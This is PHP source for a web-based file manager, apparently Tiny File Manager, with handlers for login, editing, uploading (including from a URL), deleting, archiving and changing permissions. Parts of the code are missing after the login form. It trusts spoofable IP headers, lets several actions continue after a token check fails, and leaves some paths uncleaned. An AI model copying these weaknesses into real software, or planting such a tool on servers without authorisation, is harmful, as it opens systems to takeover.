DO NOT EDIT AT ALL --- // max upload file size define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); // upload chunk size define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); // private key and session name to store to the session if ( !defined( 'FM_SESSION_ID')) { define('FM_SESSION_ID', 'filemanager'); } // Configuration $cfg = new FM_Config(); // Default language $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; // Show or hide files and folders that starts with a dot $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; // PHP error reporting - false = Turns off Errors, true = Turns on Errors $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; // Hide Permissions and Owner cols in file-listing $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); //available languages $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } // if fm included if (defined('FM_EMBED')) { $use_auth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); // Prevent logout issue after page was cached session_name(FM_SESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { // Permission denied for default session, try to create a new one if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } //Generating CSRF Token if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // update $root_url based on user specific directories if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']]; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[FM_SESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } // Validate connection IP if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true && $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } // Checking if the user is logged in or not. If not, it will show the login form. if ($use_auth) { if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { // Logging In sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) && verifyToken($_POST['token'])) { $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[FM_SESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[FM_SESSION_ID]['logged']); fm_show_header_login(); ?>


    ".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); // always use ?p= if (!isset($_GET['p']) && empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); // for ajax request - save $input = file_get_contents('php://input'); $_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; // instead globals vars define('FM_PATH', $p); define('FM_USE_AUTH', $use_auth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); /*************************** ACTIONS ***************************/ // Handle all AJAX Request if ((isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']]) || !FM_USE_AUTH) && isset($_POST['ajax'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } //search : get list of files from the current folder if(isset($_POST['type']) && $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) && $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } // backup files if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) && $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) && $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; //prevent 127.* domain and known ports $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } // Delete file / folder if (isset($_GET['del'], $_POST['token']) && !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' && $del != '..' && $del != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) && !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fm_enc($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fm_enc($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fm_enc($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); // copy/move/duplicate if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { // Move and to != from so just perform move $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { // Not move and to != from so copy with original name if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { if (!$move){ //Not move and to = from so duplicate $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } //Create new name for duplicate $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; // Check if a file with the duplicate name already exists, if so, make new name (edge case...) while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fm_enc($copy), fm_enc($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fm_enc($copy), fm_enc($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' . $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) && $old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' && is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) && !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { // workaround https://bugs.php.net/bug.php?id=81145 do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else if (move_uploaded_file($tmp_name, $fullPath)) { // Be sure that the file has been uploaded if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } // Mass deleting if (isset($_POST['group'], $_POST['delete'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Pack files zip, tar if (isset($_POST['group'], $_POST['token']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fm_enc($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { //TODO:: need to handle the error $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod'], $_POST['token']) && !FM_READONLY && !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } /*************************** ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) && fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) && fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if 